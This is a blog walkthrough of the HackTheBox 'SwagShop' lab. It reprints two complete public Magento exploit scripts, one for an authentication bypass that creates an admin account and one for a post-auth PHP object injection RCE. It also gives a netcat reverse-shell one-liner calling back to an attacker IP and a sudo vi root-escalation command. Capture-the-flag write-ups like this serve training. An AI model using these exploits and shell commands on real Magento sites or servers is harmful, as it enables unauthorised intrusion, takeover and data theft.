HackTheBox “SwagShop” Walkthrough

Abdullah Kareem
6 min readJul 19, 2023

--

SwagShop, an easy-level Linux OS machine on HackTheBox, it presents a Magento eCommerce interface. The process to obtain a shell involves the utilization of two exploits. Firstly, an authentication bypass exploit is employed, granting the ability to create an admin user within the CMS. Subsequently, an authenticated PHP Object Injection is harnessed to achieve Remote Code Execution (RCE) with user privileges. For privilege escalation to the root level, a straightforward exploit of sudo vi is implemented.

Let’s get started! 🚀

Recon & Enumeration

Let’s use nmapAutomator to full scan for open ports and services:

Visit the target at port 80.

The redirection to the site was not possible as we miss an entry for the target’s IP address and domain in the /etc/hosts file.

Let’s now vist the target at swagshop.htb.

Let’s make a directory scanning using the tool Dirsearch.

Let’s have a look around those results.

The target system is operating on Magento, an open-source e-commerce platform written in PHP. It appears to be utilizing Magento 2014, and we need to confirm the exact version.

Let’s check “searchsploit” for Magento 1.9.

Exploitation:

One of the outcomes is Remote Code Execution. Let’s copy the exploit “37977.py” and examine its content.

We intend to adjust the target and utilize the exploit as outlined below.

└─$ cat 37977.py         
##################################################################################################
#Exploit Title : Magento Shoplift exploit (SUPEE-5344)
#Author : Manish Kishan Tanwar AKA error1046
#Date : 25/08/2015
#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Debugged At : Indishell Lab(originally developed by joren)
##################################################################################################
#Thanks to
# Zero cool, code breaker ICA, Team indishell, my father , rr mam, jagriti and DON
import requests
import base64
import sys

target = "http://swagshop.htb/index.php"

if not target.startswith("http"):
target = "http://" + target

if target.endswith("/"):
target = target[:-1]

target_url = target + "/admin/Cms_Wysiwyg/directive/index/"

q="""
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
"""


query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
r = requests.post(target_url,
data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
"filter": base64.b64encode(pfilter),
"forwarded": 1})
if r.ok:
print "WORKED"
print "Check {0}/admin with creds forme:forme".format(target)
else:
print "DID NOT WORK"




#exploit code ends here




# --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
# --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)
# --==[[ Special Fuck goes to ]]==--
# <3 suriya Cyber Tyson <3

Run.

Let’s check the url http://swagshop.htb/index.php/admin.

After running the exploit, let’s log into the admin panel using the credentials “forme:forme” granted by the exploit.

Looking back to the results of the searchsploit we can also see that we have an authenticated remote code execution exploit as highlighted below.

Copy and check the content.

As per to the exploit we need to insert the exact installation date by browsing the link http://swagshop.htb/app/etc/local.xml.

The exploit was modified by inserting the credentials, inserting the exact installation date, and removing the two highlighted lines of code in the screenshot below.

Final view for the exploit.

└─$ cat 37811.py                                                
#!/usr/bin/python
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Vendor Homepage: http://magento.com/
# Software Link: https://www.magentocommerce.com/download
# Version: 1.9.0.1 and below
# Tested on: Ubuntu 15
# CVE : none

from hashlib import md5
import sys
import re
import base64
import mechanize


def usage():
print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
sys.exit()


if len(sys.argv) != 3:
usage()

# Command-line args
target = sys.argv[1]
arg = sys.argv[2]

# Config.
username = 'forme'
password = 'forme'
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
'\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"' \
'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00' \
'_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
#br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)

request = br.open(target)

br.select_form(nr=0)
br.form.new_control('text', 'login[username]', {'value': username}) # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password

br.method = "POST"
request = br.submit()
content = request.read()

url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)

request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)

payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh

try:
request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
print e.read()

Run as per the usage shown in the exploit’s code and using “whoami” as a payload.

Success! We can now progress towards crafting a reverse shell payload using following one.

mkfifo /tmp/lol;nc 10.10.14.8 4343 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol

But before running the exploit, we start a listener.

Run the exploit.

On our listener.

Privilege Escalation:

Let’s check what privileges we have here.

Upon reviewing GTFOBins, we can leverage specific commands as shown below to acquire a root shell, exploiting the well-known vulnerability of vim.

sudo vi /var/www/html/* -c ':!/bin/bash' /dev/null

Then we quit vi using :q

Cheers.

--

--

Abdullah Kareem

IT Specialist | Cyber Security Enthusiast | OSWP | eCPPT | CEH | CCNP Enterprise | CCNA | ITILv4